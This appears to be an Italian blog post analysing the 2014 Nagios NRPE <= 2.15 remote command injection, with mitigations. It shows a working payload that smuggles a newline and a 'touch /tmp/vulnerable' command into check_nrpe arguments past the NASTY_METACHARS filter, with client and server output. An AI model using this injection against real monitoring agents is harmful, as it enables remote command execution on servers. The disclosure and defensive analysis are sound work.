Nagios NRPE <= 2.15 Remote Command Injection: Analisi, test e fix della vulnerabilità

nrpe

 

 

Informazioni generali

 

Qualche giorno fa è stato scovato un bug sul noto monitor d’infrastrutture Nagios, più precisamente la vurnerabilità riguarda l’agent NRPE (Nagios Remote Plugin Executor).

=============================================
- Release date: 17.04.2014
- Discovered by: Dawid Golunski
- Severity: High
=============================================

 

Nrpe è un agent che viene installato su tutte le macchine monitorare da Nagios e a seconda delle varie personalizzazioni può restituire varie informazioni, come ad esempio lo stato del disco rigido, della memoria, la funzionalità o meno di determinati servizi ecc..

L’agent viene interrogato da Nagios tramite un plugin dal nome “check_nrpe” il quale può richiedere informazioni in due modalità:

  1. Eseguendo i comandi preimpostati sul file di configurazione dell’agent
  2. Personalizzando gli argomenti delle interrogazioni da linea di comando

La vurnerabilità è stata scovata proprio nel secondo caso, ovvero la possibilità di inserire comandi arbitrari da eseguire sulla macchina remota al posto degli argomenti del plugin check_nrpe.

 

Test e analisi vulnerabilità Nrpe

Vediamo un esempio pratico, se vogliamo sapere quanti utenti di sistema sono attivi su una macchina linux il comando sarà:

claudio@va-backbox:~$ /usr/lib/nagios/plugins/check_nrpe -H nrpetest.homelab.it -c check_users -a 4 7

Se sul server nrpetest.homelab.it ci fossero collegati da 4 a 6 utenti di sistema contemporaneamente l’agent risponderebbe con un messagio di warning, mentre se fossero maggiori o uguale a 7 allora il messaggio sarebbe di tipo critical.

claudio@va-backbox:~$ /usr/lib/nagios/plugins/check_nrpe -H nrpetest.homelab.it -c check_users -a 4 7
USERS OK - 1 users currently logged in |users=1;4;7;0
claudio@va-backbox:~$

In questo caso sul sistema  è collegato un solo utente, quindi l’agent restituisce un messaggio positivo.

La vurnerabilità consiste nell’eseguire un comando non autorizzato sulla macchina remota, inserendolo all’interno degli argomenti del plugin check_nrpe:

check_nrpe -H nrpetest.homelab.it -c check_users -a "`echo -e "\x0a touch /tmp/vulnerable # "` 7"

Al posto del valore di warning è stato inserito tramite un echo il carattere newline (0x0A) e il comando “touch /tmp/vulnerable” ( scrive file vuoto).

L’agent interpreterà  ed eseguirà il tutto localmente in questa maniera:

/usr/local/nagios/libexec/check_users -w <new_line>
touch /tmp/vulnerable
# -c 4
Analizzando il codice sorgente del demone nrpe (rpe-2.15/src/nrpe.c) si nota che una sorta di controllo era stato inserito sul valore delle variabili:
#define NASTY_METACHARS         "|`&><'\"\\[]{};"
/* make sure request doesn't contain nasties */
if(contains_nasty_metachars(pkt->buffer)==TRUE){
    syslog(LOG_ERR,"Error: Request contained illegal metachars!");
Vengono filtrati tutti i caratteri bash che possono permettere una sostituzione o un redirect , ma tramite il carattere newline (0x0A) è possibile concatenare qualsiasi comando si voglia.

Client:

claudio@va-backbox:~$ cd /usr/lib/nagios/plugins/
claudio@va-backbox:plugins$
claudio@va-backbox:plugins$ ./check_nrpe -H nrpetest.homelab.it -c check_users -a "`echo -e "\x0a touch /tmp/vulnerable # "` 7 "
Usage:
check_users -w <users> -c <users>
claudio@va-backbox:plugins$

Server Agent:

[root@nrpetest ~]# ls -la /tmp/
totale 24
drwxrwxrwt.  6 root root 4096  5 mag 23:52 .
dr-xr-xr-x. 24 root root 4096  2 mag 18:54 ..
drwxrwxrwt   2 root root 4096  2 mag 18:54 .ICE-unix
drwxr-xr-x   2 root root 4096 28 mar 22:29 vmware-config0
drwxr-xr-x   2 root root 4096 28 mar 22:30 vmware-fonts0
drwx------   2 root root 4096  2 mag 18:54 vmware-root
-rw-r--r--   1 nrpe nrpe    0  5 mag 23:52 vulnerable
[root@nrpetest ~]#

 

Requisiti vulnerabilità

Tutte le versioni dell’agent nrpe sembrano essere vulnerabili (<= 2.15) sia per linux che altri sistemi, io personalmente ho potuto eseguire test sulle versione 2.14 e 2.15 di Linux CentOS e Ubuntu.

La vurnerabilità può essere sfruttata soltanto nel caso in cui sul file di configurazione dell’agent nrpe (nrpe.cfg) siano abilitate due funzioni.

1) La possibilità di specificare gli argomenti  dei comandi da eseguire:

# COMMAND ARGUMENT PROCESSING
# This option determines whether or not the NRPE daemon will allow clients
# to specify arguments to commands that are executed.  This option only works
# if the daemon was configured with the --enable-command-args configure script
# option.
#
# *** ENABLING THIS OPTION IS A SECURITY RISK! ***
# Read the SECURITY file for information on some of the security implications
# of enabling this variable.
#
# Values: 0=do not allow arguments, 1=allow command arguments

dont_blame_nrpe=1

2) Specificare nei vari comandi le variabili degli argomenti:

command[check_users]=/usr/lib64/nagios/plugins/check_users -w $ARG1$ -c $ARG2$
command[check_load]=/usr/lib64/nagios/plugins/check_load -w $ARG1$ -c $ARG2$
command[check_disk]=/usr/lib64/nagios/plugins/check_disk -w $ARG1$ -c $ARG2$ -p $ARG3$
command[check_procs]=/usr/lib64/nagios/plugins/check_procs -w $ARG1$ -c $ARG2$ -s $ARG3$

Soluzioni

Purtroppo al momento non è stata rilasciata alcuna patch, quindi le raccomandazioni sono:

1) Disabilitare la funzione “dont_blame_nrpe” (Naturalmente se possibile).

2) Accettare verso l’agent soltanto connessioni da indirizzi autorizzatei

3) Modificare il nome dei comandi sul file nrpe.cfg con nomi non standard in modo da rendere più complicata l’intercettazione, esempio:

da “command[check_users]=” a “command[ch3ck_us3rs123]=” ( ricordandosi di sistemare anche la parte nagios).

4) Aggiornare nrpe appena sarà disponibile una nuova versione
Riferimenti: http://www.exploit-db.com/exploits/32925/